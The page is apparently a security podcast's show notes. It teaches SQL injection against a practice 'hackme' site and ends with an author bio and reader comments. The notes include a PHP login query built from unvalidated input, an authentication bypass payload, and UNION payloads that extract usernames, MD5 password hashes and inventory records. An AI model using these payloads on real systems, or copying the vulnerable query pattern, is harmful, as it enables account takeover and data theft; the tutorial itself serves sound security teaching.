Hands On Series – SQL Injection Part 1

The start of the “Hands on Series”, which means that there are actual
hands on excersises to go along with these shows.

I feel that its time to go beyond the concepts, the chatter about what bad guys can do,
and actually show you directly. Let you see for yourself the saying goes.

I recommend that you listen to these episodes while viewing the hacking test site and
have the show notes visible and ready to cut and paste from.

Show Notes

Sample PHP code for authenticating a user during login

$sql = "SELECT * FROM accounts WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'";

If I enter admin for both the username and password the resulting sql statement would be as follows
SELECT * FROM accounts WHERE username='admin' and password = '21232f297a57a5a743894a0e4a801fc3'

If there is a record in accounts with both username and password as admin, then I will get logged in, otherwise the login will fail.

Thats all well and good, but there is a very critical problem.
The problem here resides in the fact that there is no validation on what the user inputs, but the input is used to create a SQL statement.

Lets take a look at the following SQL statement

SELECT * FROM accounts WHERE username='admin' /* and password = '21232f297a57a5a743894a0e4a801fc3 '

What would this statement result in?
First thing to notice is the /*

This is a comment delimiter in MySQL, which means anything following it is considered a comment and is ignored.
Another way to think about it is that the SQL Statement ends at this point.

So if there statement ends at the /* then the effective SQL statement is
SELECT * FROM accounts WHERE username='admin'

So when will this generate a valid result?

It will be valid if the username exists in the database, and if it does, then it will return that record.
This means it will log me in as the admin without need for discovering/guessing the password!!

Sounds good, how would I make the SQL statement look like that. Well try entering in this as your username
admin' /*
If you look again at the orignal SQL statement and insert this as the username you will see how it alters the SQL statement in a way that the statement is still valid in syntax but the symantic meaning has been altered to suit your needs. Here is what it will look like
SELECT * FROM accounts WHERE username='admin' /* ' and password = '21232f297a57a5a743894a0e4a801fc3'
Now isnt this cool?

Alright, now look at the source code. Theres a link to the source on the main page.

Notice that its displaying the username from the database query result.

This means we can see data from the database. So lets try using a UNION query to get arbitrary data from the database.
When using UNION queries there is a requirement that both sets of data share the exact same number of columns.
Since you dont know how many columns are being returned, we have to discover this information using this technique

How to solve over/under column problems

Start with one field using NULL as its value
admin' UNION SELECT NULL FROM accounts LIMIT 1,1 /*

This will result in an error “The used SELECT statements have a different number of columns”.
This is telling us that the two data sets do not having matching number of columns.

Add another NULL
admin' UNION SELECT NULL, NULL FROM accounts LIMIT 1,1 /*

Same error

and Add another NULL
admin' UNION SELECT NULL, NULL, NULL FROM accounts LIMIT 1,1 /*

No more error.

Now that we know how many columns we have to work with, lets concat in the data

In these we will get the account table records

admin' UNION SELECT NULL, concat(id, ' - ', username, ' - ', password) AS username, NULL FROM accounts LIMIT 1,1 /*
Notice the last field is the MD5 hash. Here is where the toolkit link to the MD5 hash database comes in handy http://www.md5decrypt.com/

Put in that md5 hash and if its a common password, you will get a result

Now lets get another user record by shifting the LIMIT to start on the next record

admin’ UNION SELECT NULL, concat(id, ‘ – ‘, username, ‘ – ‘, password) AS username, NULL FROM accounts LIMIT 2,1 /*

Now lets get data from an entirely different table

admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 1,1 /*

admin' UNION SELECT NULL, concat(prodid, ' - ', name, ' - ', description, ' - ', price) AS username, NULL FROM inventory LIMIT 2,1 /*

As you can see, once you have a SQL injection point you can gain access to a great deal of database information.

About Dan Kuykendall
Dan Kuykendall is the founder and co-CEO at the premier application security solutions provider NT OBJECTives, Inc. Throughout his career, Dan has helped develop advanced dynamic application security testing software, a fundamental aspect to NT OBJECTives’ reputation as a leader in comprehensive web application scanning. Dan has also worked for McAfee’s Foundstone and Fortis, where he founded the U.S. Information Security team. Connect with Dan on Google+

4 Comments on Hands On Series – SQL Injection Part 1

  1. great job guys thanks alot

  2. That’s really cool, it helped me a lot, thank you

  3. Thanks guys… Good one for bigeners.

  4. Dan,
    The hackme site (http://hackme.ntobjectives.com) has a problem with connecting to MySQL:

    Warning: mysql_connect() [function.mysql-connect]: Access denied for user ‘ms_hackme_logs’@’localhost’ (using password: YES) in /var/www/webscantest/hackme/header.php on line 123

    So, none of the rest of it worked :-(.

    Can you fix it?

    I really enjoyed the podcast, and tried to follow along.

    Thanks!
    -Fazz

Leave a comment

Your email address will not be published.

*